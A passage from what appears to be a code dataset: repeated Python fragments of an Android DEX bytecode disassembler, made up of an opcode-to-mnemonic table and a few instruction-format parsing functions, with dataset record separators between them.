(0xe4, 'unused', 'fmt10x', FMT10X, 1), 229: (0xe5, 'unused', 'fmt10x', FMT10X, 1), 230: (0xe6, 'unused', 'fmt10x', FMT10X, 1), 231: (0xe7, 'unused', 'fmt10x', FMT10X, 1), 232: (0xe8, 'unused', 'fmt10x', FMT10X, 1), 233: (0xe9, 'unused', 'fmt10x', FMT10X, 1), 234: (0xea, 'unused', 'fmt10x', FMT10X, 1), 235: (0xeb, 'unused', 'fmt10x', FMT10X, 1), 236: (0xec, 'unused', 'fmt10x', FMT10X, 1), 237: (0xed, 'unused', 'fmt10x', FMT10X, 1), 238: (0xee, 'unused', 'fmt10x', FMT10X, 1), 239: (0xef, 'unused', 'fmt10x', FMT10X, 1), 240: (0xf0, 'unused', 'fmt10x', FMT10X, 1), 241: (0xf1, 'unused', 'fmt10x', FMT10X, 1), 242: (0xf2, 'unused', 'fmt10x', FMT10X, 1), 243: (0xf3, 'unused', 'fmt10x', FMT10X, 1), 244: (0xf4, 'unused', 'fmt10x', FMT10X, 1), 245: (0xf5, 'unused', 'fmt10x', FMT10X, 1), 246: (0xf6, 'unused', 'fmt10x', FMT10X, 1), 247: (0xf7, 'unused', 'fmt10x', FMT10X, 1), 248: (0xf8, 'unused', 'fmt10x', FMT10X, 1), 249: (0xf9, 'unused', 'fmt10x', FMT10X, 1), 250: (0xfa, 'unused', 'fmt10x', FMT10X, 1), 251: (0xfb, 'unused', 'fmt10x', FMT10X, 1), 252: (0xfc, 'unused', 'fmt10x', FMT10X, 1), 253: (0xfd, 'unused', 'fmt10x', FMT10X, 1), 254: (0xfe, 'unused', 'fmt10x', FMT10X, 1), 255: (0xff, 'unused', 'fmt10x', FMT10X, 1), } import getopt def parse_FMT3RC(buffer, dex_object, pc_point, offset): return (dex_decode[ord(buffer[0])][4], dex_decode[ord(buffer[0])][1])
null
17,390
import sys import struct import array import base64 import re dex_decode = { 0: (0x00, 'nop', 'fmt10x', FMT10X, 1), 1: (0x01, 'move', 'fmt12x', FMT12X, 1), 2: (0x02, 'move/from16', 'fmt22x', FMT22X, 2), 3: (0x03, 'move/16', 'fmt32x', FMT32X, 3), 4: (0x04, 'move-wide', 'fmt12x', FMT12X, 1), 5: (0x05, 'move-wide/from16', 'fmt22x', FMT22X, 2), 6: (0x06, 'move-wide/16', 'fmt32x', FMT32X, 3), 7: (0x07, 'move-object', 'fmt12x', FMT12X, 1), 8: (0x08, 'move-object/from16', 'fmt22x', FMT22X, 2), 9: (0x09, 'move-object/16', 'fmt32x', FMT32X, 3), 10: (0x0a, 'move-result', 'fmt11x', FMT11X, 1), 11: (0x0b, 'move-result-wide', 'fmt11x', FMT11X, 1), 12: (0x0c, 'move-result-object', 'fmt11x', FMT11X, 1), 13: (0x0d, 'move-exception', 'fmt11x', FMT11X, 1), 14: (0x0e, 'return-void', 'fmt10x', FMT10X, 1), 15: (0x0f, 'return', 'fmt11x', FMT11X, 1), 16: (0x10, 'return-wide', 'fmt11x', FMT11X, 1), 17: (0x11, 'return-object', 'fmt11x', FMT11X, 1), 18: (0x12, 'const/4', 'fmt11n', FMT11N, 1), 19: (0x13, 'const/16', 'fmt21s', FMT21S, 2), 20: (0x14, 'const', 'fmt31i', FMT31I, 3), 21: (0x15, 'const/high16', 'fmt21h', FMT21H, 2), 22: (0x16, 'const-wide/16', 'fmt21s', FMT21S, 2), 23: (0x17, 'const-wide/32', 'fmt31i', FMT31I, 3), 24: (0x18, 'const-wide', 'fmt51l', FMT51L, 5), 25: (0x19, 'const-wide/high16', 'fmt21h', FMT21H, 2), 26: (0x1a, 'const-string', 'fmt21c', FMT21C, 2), 27: (0x1b, 'const-string/jumbo', 'fmt31c', FMT31C, 3), 28: (0x1c, 'const-class', 'fmt21c', FMT21C, 2), 29: (0x1d, 'monitor-enter', 'fmt11x', FMT11X, 1), 30: (0x1e, 'monitor-exit', 'fmt11x', FMT11X, 1), 31: (0x1f, 'check-cast', 'fmt21c', FMT21C, 2), 32: (0x20, 'instance-of', 'fmt22c', FMT22C, 2), 33: (0x21, 'array-length', 'fmt12x', FMT12X, 1), 34: (0x22, 'new-instance', 'fmt21c', FMT21C, 2), 35: (0x23, 'new-array', 'fmt22c', FMT22C, 2), 36: (0x24, 'filled-new-array', 'fmt35c', FMT35C, 3), 37: (0x25, 'filled-new-array/range', 'fmt3rc', FMT3RC, 3), 38: (0x26, 'fill-array-data', 'fmt31t', FMT31T, 3), 39: (0x27, 'throw', 'fmt11x', FMT11X, 1), 40: (0x28, 'goto', 'fmt10t', FMT10T, 1), 41: (0x29, 'goto/16', 'fmt20t', FMT20T, 2), 42: (0x2a, 'goto/32', 'fmt30t', FMT30T, 3), 43: (0x2b, 'packed-switch', 'fmt31t', FMT31T, 3), 44: (0x2c, 'sparse-switch', 'fmt31t', FMT31T, 3), 45: (0x2d, 'cmpl-float', 'fmt23x', FMT23X, 2), 46: (0x2e, 'cmpg-float', 'fmt23x', FMT23X, 2), 47: (0x2f, 'cmpl-double', 'fmt23x', FMT23X, 2), 48: (0x30, 'cmpg-double', 'fmt23x', FMT23X, 2), 49: (0x31, 'cmp-long', 'fmt23x', FMT23X, 2), 50: (0x32, 'if-eq', 'fmt22t', FMT22T, 2), 51: (0x33, 'if-ne', 'fmt22t', FMT22T, 2), 52: (0x34, 'if-lt', 'fmt22t', FMT22T, 2), 53: (0x35, 'if-ge', 'fmt22t', FMT22T, 2), 54: (0x36, 'if-gt', 'fmt22t', FMT22T, 2), 55: (0x37, 'if-le', 'fmt22t', FMT22T, 2), 56: (0x38, 'if-eqz', 'fmt21t', FMT21T, 2), 57: (0x39, 'if-nez', 'fmt21t', FMT21T, 2), 58: (0x3a, 'if-ltz', 'fmt21t', FMT21T, 2), 59: (0x3b, 'if-gez', 'fmt21t', FMT21T, 2), 60: (0x3c, 'if-gtz', 'fmt21t', FMT21T, 2), 61: (0x3d, 'if-lez', 'fmt21t', FMT21T, 2), 62: (0x3e, 'unused', 'fmt10x', FMT10X, 1), 63: (0x3f, 'unused', 'fmt10x', FMT10X, 1), 64: (0x40, 'unused', 'fmt10x', FMT10X, 1), 65: (0x41, 'unused', 'fmt10x', FMT10X, 1), 66: (0x42, 'unused', 'fmt10x', FMT10X, 1), 67: (0x43, 'unused', 'fmt10x', FMT10X, 1), 68: (0x44, 'aget', 'fmt23x', FMT23X, 2), 69: (0x45, 'aget-wide', 'fmt23x', FMT23X, 2), 70: (0x46, 'aget-object', 'fmt23x', FMT23X, 2), 71: (0x47, 'aget-boolean', 'fmt23x', FMT23X, 2), 72: (0x48, 'aget-byte', 'fmt23x', FMT23X, 2), 73: (0x49, 'aget-char', 'fmt23x', FMT23X, 2), 74: (0x4a, 'aget-short', 'fmt23x', FMT23X, 2), 75: (0x4b, 'aput', 'fmt23x', FMT23X, 2), 76: (0x4c, 'aput-wide', 'fmt23x', FMT23X, 2), 77: (0x4d, 'aput-object', 'fmt23x', FMT23X, 2), 78: (0x4e, 'aput-boolean', 'fmt23x', FMT23X, 2), 79: (0x4f, 'aput-byte', 'fmt23x', FMT23X, 2), 80: (0x50, 'aput-shar', 'fmt23x', FMT23X, 2), 81: (0x51, 'aput-short', 'fmt23x', FMT23X, 2), 82: (0x52, 'iget', 'fmt22c', FMT22C, 2), 83: (0x53, 'iget-wide', 'fmt22c', FMT22C, 2), 84: (0x54, 'iget-object', 'fmt22c', FMT22C, 2), 85: (0x55, 'iget-boolean', 'fmt22c', FMT22C, 2), 86: (0x56, 'iget-byte', 'fmt22c', FMT22C, 2), 87: (0x57, 'iget-char', 'fmt22c', FMT22C, 2), 88: (0x58, 'iget-short', 'fmt22c', FMT22C, 2), 89: (0x59, 'iput', 'fmt22c', FMT22C, 2), 90: (0x5a, 'iput-wide', 'fmt22c', FMT22C, 2), 91: (0x5b, 'iput-object', 'fmt22c', FMT22C, 2), 92: (0x5c, 'iput-boolean', 'fmt22c', FMT22C, 2), 93: (0x5d, 'iput-byte', 'fmt22c', FMT22C, 2), 94: (0x5e, 'iput-char', 'fmt22c', FMT22C, 2), 95: (0x5f, 'iput-short', 'fmt22c', FMT22C, 2), 96: (0x60, 'sget', 'fmt21c', FMT21C, 2), 97: (0x61, 'sget-wide', 'fmt21c', FMT21C, 2), 98: (0x62, 'sget-object', 'fmt21c', FMT21C, 2), 99: (0x63, 'sget-boolean', 'fmt21c', FMT21C, 2), 100: (0x64, 'sget-byte', 'fmt21c', FMT21C, 2), 101: (0x65, 'sget-char', 'fmt21c', FMT21C, 2), 102: (0x66, 'sget-short', 'fmt21c', FMT21C, 2), 103: (0x67, 'sput', 'fmt21c', FMT21C, 2), 104: (0x68, 'sput-wide', 'fmt21c', FMT21C, 2), 105: (0x69, 'sput-object', 'fmt21c', FMT21C, 2), 106: (0x6a, 'sput-boolean', 'fmt21c', FMT21C, 2), 107: (0x6b, 'sput-byte', 'fmt21c', FMT21C, 2), 108: (0x6c, 'sput-char', 'fmt21c', FMT21C, 2), 109: (0x6d, 'sput-short', 'fmt21c', FMT21C, 2), 110: (0x6e, 'invoke-virtual', 'fmt35c', FMT35C, 3), 111: (0x6f, 'invoke-super', 'fmt35c', FMT35C, 3), 112: (0x70, 'invoke-direct', 'fmt35c', FMT35C, 3), 113: (0x71, 'invoke-static', 'fmt35c', FMT35C, 3), 114: (0x72, 'invoke-insterface', 'fmt35c', FMT35C, 3), 115: (0x73, 'unused', 'fmt10x', FMT10X, 1), 116: (0x74, 'invoke-virtual/range', 'fmt3rc', FMT3RC, 3), 117: (0x75, 'invoke-super/range', 'fmt3rc', FMT3RC, 3), 118: (0x76, 'invoke-direct/range', 'fmt3rc', FMT3RC, 3), 119: (0x77, 'invoke-static/range', 'fmt3rc', FMT3RC, 3), 120: (0x78, 'invoke-interface/range', 'fmt3rc', FMT3RC, 3), 121: (0x79, 'unused', 'fmt10x', FMT10X, 1), 122: (0x7a, 'unused', 'fmt10x', FMT10X, 1), 123: (0x7b, 'neg-int', 'fmt12x', FMT12X, 1), 124: (0x7c, 'not-int', 'fmt12x', FMT12X, 1), 125: (0x7d, 'neg-long', 'fmt12x', FMT12X, 1), 126: (0x7e, 'not-long', 'fmt12x', FMT12X, 1), 127: (0x7f, 'neg-float', 'fmt12x', FMT12X, 1), 128: (0x80, 'neg-double', 'fmt12x', FMT12X, 1), 129: (0x81, 'int-to-long', 'fmt12x', FMT12X, 1), 130: (0x82, 'int-to-float', 'fmt12x', FMT12X, 1), 131: (0x83, 'int-to-double', 'fmt12x', FMT12X, 1), 132: (0x84, 'long-to-int', 'fmt12x', FMT12X, 1), 133: (0x85, 'long-to-float', 'fmt12x', FMT12X, 1), 134: (0x86, 'long-to-double', 'fmt12x', FMT12X, 1), 135: (0x87, 'float-to-int', 'fmt12x', FMT12X, 1), 136: (0x88, 'float-to-long', 'fmt12x', FMT12X, 1), 137: (0x89, 'float-to-double', 'fmt12x', FMT12X, 1), 138: (0x8a, 'double-to-int', 'fmt12x', FMT12X, 1), 139: (0x8b, 'double-to-long', 'fmt12x', FMT12X, 1), 140: (0x8c, 'double-to-float', 'fmt12x', FMT12X, 1), 141: (0x8d, 'int-to-byte', 'fmt12x', FMT12X, 1), 142: (0x8e, 'int-to-char', 'fmt12x', FMT12X, 1), 143: (0x8f, 'int-to-short', 'fmt12x', FMT12X, 1), 144: (0x90, 'add-int', 'fmt23x', FMT23X, 2), 145: (0x91, 'sub-int', 'fmt23x', FMT23X, 2), 146: (0x92, 'mul-int', 'fmt23x', FMT23X, 2), 147: (0x93, 'div-int', 'fmt23x', FMT23X, 2), 148: (0x94, 'rem-int', 'fmt23x', FMT23X, 2), 149: (0x95, 'and-int', 'fmt23x', FMT23X, 2), 150: (0x96, 'or-int', 'fmt23x', FMT23X, 2), 151: (0x97, 'xor-int', 'fmt23x', FMT23X, 2), 152: (0x98, 'shl-int', 'fmt23x', FMT23X, 2), 153: (0x99, 'shr-int', 'fmt23x', FMT23X, 2), 154: (0x9a, 'ushr-int', 'fmt23x', FMT23X, 2), 155: (0x9b, 'add-long', 'fmt23x', FMT23X, 2), 156: (0x9c, 'sub-long', 'fmt23x', FMT23X, 2), 157: (0x9d, 'mul-long', 'fmt23x', FMT23X, 2), 158: (0x9e, 'div-long', 'fmt23x', FMT23X, 2), 159: (0x9f, 'rem-long', 'fmt23x', FMT23X, 2), 160: (0xa0, 'and-long', 'fmt23x', FMT23X, 2), 161: (0xa1, 'or-long', 'fmt23x', FMT23X, 2), 162: (0xa2, 'xor-long', 'fmt23x', FMT23X, 2), 163: (0xa3, 'shl-long', 'fmt23x', FMT23X, 2), 164: (0xa4, 'shr-long', 'fmt23x', FMT23X, 2), 165: (0xa5, 'ushr-long', 'fmt23x', FMT23X, 2), 166: (0xa6, 'add-float', 'fmt23x', FMT23X, 2), 167: (0xa7, 'sub-float', 'fmt23x', FMT23X, 2), 168: (0xa8, 'mul-float', 'fmt23x', FMT23X, 2), 169: (0xa9, 'div-float', 'fmt23x', FMT23X, 2), 170: (0xaa, 'rem-float', 'fmt23x', FMT23X, 2), 171: (0xab, 'add-double', 'fmt23x', FMT23X, 2), 172: (0xac, 'sub-double', 'fmt23x', FMT23X, 2), 173: (0xad, 'mul-double', 'fmt23x', FMT23X, 2), 174: (0xae, 'div-double', 'fmt23x', FMT23X, 2), 175: (0xaf, 'rem-double', 'fmt23x', FMT23X, 2), 176: (0xb0, 'add-int/2addr', 'fmt12x', FMT12X, 1), 177: (0xb1, 'sub-int/2addr', 'fmt12x', FMT12X, 1), 178: (0xb2, 'mul-int/2addr', 'fmt12x', FMT12X, 1), 179: (0xb3, 'div-int/2addr', 'fmt12x', FMT12X, 1), 180: (0xb4, 'rem-int/2addr', 'fmt12x', FMT12X, 1), 181: (0xb5, 'and-int/2addr', 'fmt12x', FMT12X, 1), 182: (0xb6, 'or-int/2addr', 'fmt12x', FMT12X, 1), 183: (0xb7, 'xor-int/2addr', 'fmt12x', FMT12X, 1), 184: (0xb8, 'shl-int/2addr', 'fmt12x', FMT12X, 1), 185: (0xb9, 'shr-int/2addr', 'fmt12x', FMT12X, 1), 186: (0xba, 'ushr-int/2addr', 'fmt12x', FMT12X, 1), 187: (0xbb, 'add-long/2addr', 'fmt12x', FMT12X, 1), 188: (0xbc, 'sub-long/2addr', 'fmt12x', FMT12X, 1), 189: (0xbd, 'mul-long/2addr', 'fmt12x', FMT12X, 1), 190: (0xbe, 'div-long/2addr', 'fmt12x', FMT12X, 1), 191: (0xbf, 'rem-long/2addr', 'fmt12x', FMT12X, 1), 192: (0xc0, 'and-long/2addr', 'fmt12x', FMT12X, 1), 193: (0xc1, 'or-long/2addr', 'fmt12x', FMT12X, 1), 194: (0xc2, 'xor-long/2addr', 'fmt12x', FMT12X, 1), 195: (0xc3, 'shl-long/2addr', 'fmt12x', FMT12X, 1), 196: (0xc4, 'shr-long/2addr', 'fmt12x', FMT12X, 1), 197: (0xc5, 'ushr-long/2addr', 'fmt12x', FMT12X, 1), 198: (0xc6, 'add-float/2addr', 'fmt12x', FMT12X, 1), 199: (0xc7, 'sub-float/2addr', 'fmt12x', FMT12X, 1), 200: (0xc8, 'mul-float/2addr', 'fmt12x', FMT12X, 1), 201: (0xc9, 'div-float/2addr', 'fmt12x', FMT12X, 1), 202: (0xca, 'rem-float/2addr', 'fmt12x', FMT12X, 1), 203: (0xcb, 'add-double/2addr', 'fmt12x', FMT12X, 1), 204: (0xcc, 'sub-double/2addr', 'fmt12x', FMT12X, 1), 205: (0xcd, 'mul-double/2addr', 'fmt12x', FMT12X, 1), 206: (0xce, 'div-double/2addr', 'fmt12x', FMT12X, 1), 207: (0xcf, 'rem-double/2addr', 'fmt12x', FMT12X, 1), 208: (0xd0, 'add-int/lit16', 'fmt22s', FMT22S, 2), 209: (0xd1, 'rsub-int', 'fmt22s', FMT22S, 2), 210: (0xd2, 'mul-int/lit16', 'fmt22s', FMT22S, 2), 211: (0xd3, 'div-int/lit16', 'fmt22s', FMT22S, 2), 212: (0xd4, 'rem-int/lit16', 'fmt22s', FMT22S, 2), 213: (0xd5, 'and-int/lit16', 'fmt22s', FMT22S, 2), 214: (0xd6, 'or-int/lit16', 'fmt22s', FMT22S, 2), 215: (0xd7, 'xor-int/lit16', 'fmt22s', FMT22S, 2), 216: (0xd8, 'add-int/lit8', 'fmt22b', FMT22B, 2), 217: (0xd9, 'rsub-int/lit8', 'fmt22b', FMT22B, 2), 218: (0xda, 'mul-int/lit8', 'fmt22b', FMT22B, 2), 219: (0xdb, 'div-int/lit8', 'fmt22b', FMT22B, 2), 220: (0xdc, 'rem-int/lit8', 'fmt22b', FMT22B, 2), 221: (0xdd, 'and-int/lit8', 'fmt22b', FMT22B, 2), 222: (0xde, 'or-int/lit8', 'fmt22b', FMT22B, 2), 223: (0xdf, 'xor-int/lit8', 'fmt22b', FMT22B, 2), 224: (0xe0, 'shl-int/lit8', 'fmt22b', FMT22B, 2), 225: (0xe1, 'shr-int/lit8', 'fmt22b', FMT22B, 2), 226: (0xe2, 'ushr-int/lit8', 'fmt22b', FMT22B, 2), 227: (0xe3, 'unused', 'fmt10x', FMT10X, 1), 228: (0xe4, 'unused', 'fmt10x', FMT10X, 1), 229: (0xe5, 'unused', 'fmt10x', FMT10X, 1), 230: (0xe6, 'unused', 'fmt10x', FMT10X, 1), 231: (0xe7, 'unused', 'fmt10x', FMT10X, 1), 232: (0xe8, 'unused', 'fmt10x', FMT10X, 1), 233: (0xe9, 'unused', 'fmt10x', FMT10X, 1), 234: (0xea, 'unused', 'fmt10x', FMT10X, 1), 235: (0xeb, 'unused', 'fmt10x', FMT10X, 1), 236: (0xec, 'unused', 'fmt10x', FMT10X, 1), 237: (0xed, 'unused', 'fmt10x', FMT10X, 1), 238: (0xee, 'unused', 'fmt10x', FMT10X, 1), 239: (0xef, 'unused', 'fmt10x', FMT10X, 1), 240: (0xf0, 'unused', 'fmt10x', FMT10X, 1), 241: (0xf1, 'unused', 'fmt10x', FMT10X, 1), 242: (0xf2, 'unused', 'fmt10x', FMT10X, 1), 243: (0xf3, 'unused', 'fmt10x', FMT10X, 1), 244: (0xf4, 'unused', 'fmt10x', FMT10X, 1), 245: (0xf5, 'unused', 'fmt10x', FMT10X, 1), 246: (0xf6, 'unused', 'fmt10x', FMT10X, 1), 247: (0xf7, 'unused', 'fmt10x', FMT10X, 1), 248: (0xf8, 'unused', 'fmt10x', FMT10X, 1), 249: (0xf9, 'unused', 'fmt10x', FMT10X, 1), 250: (0xfa, 'unused', 'fmt10x', FMT10X, 1), 251: (0xfb, 'unused', 'fmt10x', FMT10X, 1), 252: (0xfc, 'unused', 'fmt10x', FMT10X, 1), 253: (0xfd, 'unused', 'fmt10x', FMT10X, 1), 254: (0xfe, 'unused', 'fmt10x', FMT10X, 1), 255: (0xff, 'unused', 'fmt10x', FMT10X, 1), } import getopt def parse_FMT51L(buffer, dex_object, pc_point, offset): if len(buffer) < 10: return (1, "") bb = struct.unpack_from("q", buffer, 2) return (dex_decode[ord(buffer[0])][4], dex_decode[ord(buffer[0])][1], "v%d" % ord(buffer[1]), "%d" % bb)
null
17,391
import sys import struct import array import base64 import re func_point = [parse_FMT10T, parse_FMT10X, parse_FMT11N, parse_FMT11X, parse_FMT12X, parse_FMT20T, parse_FMT21C, parse_FMT21H, parse_FMT21S, parse_FMT21T, parse_FMT22B, parse_FMT22C, parse_FMT22S, parse_FMT22T, parse_FMT22X, parse_FMT23X, parse_FMT30T, parse_FMT31C, parse_FMT31I, parse_FMT31T, parse_FMT32X, parse_FMT35C, parse_FMT3RC, parse_FMT51L] dex_decode = { 0: (0x00, 'nop', 'fmt10x', FMT10X, 1), 1: (0x01, 'move', 'fmt12x', FMT12X, 1), 2: (0x02, 'move/from16', 'fmt22x', FMT22X, 2), 3: (0x03, 'move/16', 'fmt32x', FMT32X, 3), 4: (0x04, 'move-wide', 'fmt12x', FMT12X, 1), 5: (0x05, 'move-wide/from16', 'fmt22x', FMT22X, 2), 6: (0x06, 'move-wide/16', 'fmt32x', FMT32X, 3), 7: (0x07, 'move-object', 'fmt12x', FMT12X, 1), 8: (0x08, 'move-object/from16', 'fmt22x', FMT22X, 2), 9: (0x09, 'move-object/16', 'fmt32x', FMT32X, 3), 10: (0x0a, 'move-result', 'fmt11x', FMT11X, 1), 11: (0x0b, 'move-result-wide', 'fmt11x', FMT11X, 1), 12: (0x0c, 'move-result-object', 'fmt11x', FMT11X, 1), 13: (0x0d, 'move-exception', 'fmt11x', FMT11X, 1), 14: (0x0e, 'return-void', 'fmt10x', FMT10X, 1), 15: (0x0f, 'return', 'fmt11x', FMT11X, 1), 16: (0x10, 'return-wide', 'fmt11x', FMT11X, 1), 17: (0x11, 'return-object', 'fmt11x', FMT11X, 1), 18: (0x12, 'const/4', 'fmt11n', FMT11N, 1), 19: (0x13, 'const/16', 'fmt21s', FMT21S, 2), 20: (0x14, 'const', 'fmt31i', FMT31I, 3), 21: (0x15, 'const/high16', 'fmt21h', FMT21H, 2), 22: (0x16, 'const-wide/16', 'fmt21s', FMT21S, 2), 23: (0x17, 'const-wide/32', 'fmt31i', FMT31I, 3), 24: (0x18, 'const-wide', 'fmt51l', FMT51L, 5), 25: (0x19, 'const-wide/high16', 'fmt21h', FMT21H, 2), 26: (0x1a, 'const-string', 'fmt21c', FMT21C, 2), 27: (0x1b, 'const-string/jumbo', 'fmt31c', FMT31C, 3), 28: (0x1c, 'const-class', 'fmt21c', FMT21C, 2), 29: (0x1d, 'monitor-enter', 'fmt11x', FMT11X, 1), 30: (0x1e, 'monitor-exit', 'fmt11x', FMT11X, 1), 31: (0x1f, 'check-cast', 'fmt21c', FMT21C, 2), 32: (0x20, 'instance-of', 'fmt22c', FMT22C, 2), 33: (0x21, 'array-length', 'fmt12x', FMT12X, 1), 34: (0x22, 'new-instance', 'fmt21c', FMT21C, 2), 35: (0x23, 'new-array', 'fmt22c', FMT22C, 2), 36: (0x24, 'filled-new-array', 'fmt35c', FMT35C, 3), 37: (0x25, 'filled-new-array/range', 'fmt3rc', FMT3RC, 3), 38: (0x26, 'fill-array-data', 'fmt31t', FMT31T, 3), 39: (0x27, 'throw', 'fmt11x', FMT11X, 1), 40: (0x28, 'goto', 'fmt10t', FMT10T, 1), 41: (0x29, 'goto/16', 'fmt20t', FMT20T, 2), 42: (0x2a, 'goto/32', 'fmt30t', FMT30T, 3), 43: (0x2b, 'packed-switch', 'fmt31t', FMT31T, 3), 44: (0x2c, 'sparse-switch', 'fmt31t', FMT31T, 3), 45: (0x2d, 'cmpl-float', 'fmt23x', FMT23X, 2), 46: (0x2e, 'cmpg-float', 'fmt23x', FMT23X, 2), 47: (0x2f, 'cmpl-double', 'fmt23x', FMT23X, 2), 48: (0x30, 'cmpg-double', 'fmt23x', FMT23X, 2), 49: (0x31, 'cmp-long', 'fmt23x', FMT23X, 2), 50: (0x32, 'if-eq', 'fmt22t', FMT22T, 2), 51: (0x33, 'if-ne', 'fmt22t', FMT22T, 2), 52: (0x34, 'if-lt', 'fmt22t', FMT22T, 2), 53: (0x35, 'if-ge', 'fmt22t', FMT22T, 2), 54: (0x36, 'if-gt', 'fmt22t', FMT22T, 2), 55: (0x37, 'if-le', 'fmt22t', FMT22T, 2), 56: (0x38, 'if-eqz', 'fmt21t', FMT21T, 2), 57: (0x39, 'if-nez', 'fmt21t', FMT21T, 2), 58: (0x3a, 'if-ltz', 'fmt21t', FMT21T, 2), 59: (0x3b, 'if-gez', 'fmt21t', FMT21T, 2), 60: (0x3c, 'if-gtz', 'fmt21t', FMT21T, 2), 61: (0x3d, 'if-lez', 'fmt21t', FMT21T, 2), 62: (0x3e, 'unused', 'fmt10x', FMT10X, 1), 63: (0x3f, 'unused', 'fmt10x', FMT10X, 1), 64: (0x40, 'unused', 'fmt10x', FMT10X, 1), 65: (0x41, 'unused', 'fmt10x', FMT10X, 1), 66: (0x42, 'unused', 'fmt10x', FMT10X, 1), 67: (0x43, 'unused', 'fmt10x', FMT10X, 1), 68: (0x44, 'aget', 'fmt23x', FMT23X, 2), 69: (0x45, 'aget-wide', 'fmt23x', FMT23X, 2), 70: (0x46, 'aget-object', 'fmt23x', FMT23X, 2), 71: (0x47, 'aget-boolean', 'fmt23x', FMT23X, 2), 72: (0x48, 'aget-byte', 'fmt23x', FMT23X, 2), 73: (0x49, 'aget-char', 'fmt23x', FMT23X, 2), 74: (0x4a, 'aget-short', 'fmt23x', FMT23X, 2), 75: (0x4b, 'aput', 'fmt23x', FMT23X, 2), 76: (0x4c, 'aput-wide', 'fmt23x', FMT23X, 2), 77: (0x4d, 'aput-object', 'fmt23x', FMT23X, 2), 78: (0x4e, 'aput-boolean', 'fmt23x', FMT23X, 2), 79: (0x4f, 'aput-byte', 'fmt23x', FMT23X, 2), 80: (0x50, 'aput-shar', 'fmt23x', FMT23X, 2), 81: (0x51, 'aput-short', 'fmt23x', FMT23X, 2), 82: (0x52, 'iget', 'fmt22c', FMT22C, 2), 83: (0x53, 'iget-wide', 'fmt22c', FMT22C, 2), 84: (0x54, 'iget-object', 'fmt22c', FMT22C, 2), 85: (0x55, 'iget-boolean', 'fmt22c', FMT22C, 2), 86: (0x56, 'iget-byte', 'fmt22c', FMT22C, 2), 87: (0x57, 'iget-char', 'fmt22c', FMT22C, 2), 88: (0x58, 'iget-short', 'fmt22c', FMT22C, 2), 89: (0x59, 'iput', 'fmt22c', FMT22C, 2), 90: (0x5a, 'iput-wide', 'fmt22c', FMT22C, 2), 91: (0x5b, 'iput-object', 'fmt22c', FMT22C, 2), 92: (0x5c, 'iput-boolean', 'fmt22c', FMT22C, 2), 93: (0x5d, 'iput-byte', 'fmt22c', FMT22C, 2), 94: (0x5e, 'iput-char', 'fmt22c', FMT22C, 2), 95: (0x5f, 'iput-short', 'fmt22c', FMT22C, 2), 96: (0x60, 'sget', 'fmt21c', FMT21C, 2), 97: (0x61, 'sget-wide', 'fmt21c', FMT21C, 2), 98: (0x62, 'sget-object', 'fmt21c', FMT21C, 2), 99: (0x63, 'sget-boolean', 'fmt21c', FMT21C, 2), 100: (0x64, 'sget-byte', 'fmt21c', FMT21C, 2), 101: (0x65, 'sget-char', 'fmt21c', FMT21C, 2), 102: (0x66, 'sget-short', 'fmt21c', FMT21C, 2), 103: (0x67, 'sput', 'fmt21c', FMT21C, 2), 104: (0x68, 'sput-wide', 'fmt21c', FMT21C, 2), 105: (0x69, 'sput-object', 'fmt21c', FMT21C, 2), 106: (0x6a, 'sput-boolean', 'fmt21c', FMT21C, 2), 107: (0x6b, 'sput-byte', 'fmt21c', FMT21C, 2), 108: (0x6c, 'sput-char', 'fmt21c', FMT21C, 2), 109: (0x6d, 'sput-short', 'fmt21c', FMT21C, 2), 110: (0x6e, 'invoke-virtual', 'fmt35c', FMT35C, 3), 111: (0x6f, 'invoke-super', 'fmt35c', FMT35C, 3), 112: (0x70, 'invoke-direct', 'fmt35c', FMT35C, 3), 113: (0x71, 'invoke-static', 'fmt35c', FMT35C, 3), 114: (0x72, 'invoke-insterface', 'fmt35c', FMT35C, 3), 115: (0x73, 'unused', 'fmt10x', FMT10X, 1), 116: (0x74, 'invoke-virtual/range', 'fmt3rc', FMT3RC, 3), 117: (0x75, 'invoke-super/range', 'fmt3rc', FMT3RC, 3), 118: (0x76, 'invoke-direct/range', 'fmt3rc', FMT3RC, 3), 119: (0x77, 'invoke-static/range', 'fmt3rc', FMT3RC, 3), 120: (0x78, 'invoke-interface/range', 'fmt3rc', FMT3RC, 3), 121: (0x79, 'unused', 'fmt10x', FMT10X, 1), 122: (0x7a, 'unused', 'fmt10x', FMT10X, 1), 123: (0x7b, 'neg-int', 'fmt12x', FMT12X, 1), 124: (0x7c, 'not-int', 'fmt12x', FMT12X, 1), 125: (0x7d, 'neg-long', 'fmt12x', FMT12X, 1), 126: (0x7e, 'not-long', 'fmt12x', FMT12X, 1), 127: (0x7f, 'neg-float', 'fmt12x', FMT12X, 1), 128: (0x80, 'neg-double', 'fmt12x', FMT12X, 1), 129: (0x81, 'int-to-long', 'fmt12x', FMT12X, 1), 130: (0x82, 'int-to-float', 'fmt12x', FMT12X, 1), 131: (0x83, 'int-to-double', 'fmt12x', FMT12X, 1), 132: (0x84, 'long-to-int', 'fmt12x', FMT12X, 1), 133: (0x85, 'long-to-float', 'fmt12x', FMT12X, 1), 134: (0x86, 'long-to-double', 'fmt12x', FMT12X, 1), 135: (0x87, 'float-to-int', 'fmt12x', FMT12X, 1), 136: (0x88, 'float-to-long', 'fmt12x', FMT12X, 1), 137: (0x89, 'float-to-double', 'fmt12x', FMT12X, 1), 138: (0x8a, 'double-to-int', 'fmt12x', FMT12X, 1), 139: (0x8b, 'double-to-long', 'fmt12x', FMT12X, 1), 140: (0x8c, 'double-to-float', 'fmt12x', FMT12X, 1), 141: (0x8d, 'int-to-byte', 'fmt12x', FMT12X, 1), 142: (0x8e, 'int-to-char', 'fmt12x', FMT12X, 1), 143: (0x8f, 'int-to-short', 'fmt12x', FMT12X, 1), 144: (0x90, 'add-int', 'fmt23x', FMT23X, 2), 145: (0x91, 'sub-int', 'fmt23x', FMT23X, 2), 146: (0x92, 'mul-int', 'fmt23x', FMT23X, 2), 147: (0x93, 'div-int', 'fmt23x', FMT23X, 2), 148: (0x94, 'rem-int', 'fmt23x', FMT23X, 2), 149: (0x95, 'and-int', 'fmt23x', FMT23X, 2), 150: (0x96, 'or-int', 'fmt23x', FMT23X, 2), 151: (0x97, 'xor-int', 'fmt23x', FMT23X, 2), 152: (0x98, 'shl-int', 'fmt23x', FMT23X, 2), 153: (0x99, 'shr-int', 'fmt23x', FMT23X, 2), 154: (0x9a, 'ushr-int', 'fmt23x', FMT23X, 2), 155: (0x9b, 'add-long', 'fmt23x', FMT23X, 2), 156: (0x9c, 'sub-long', 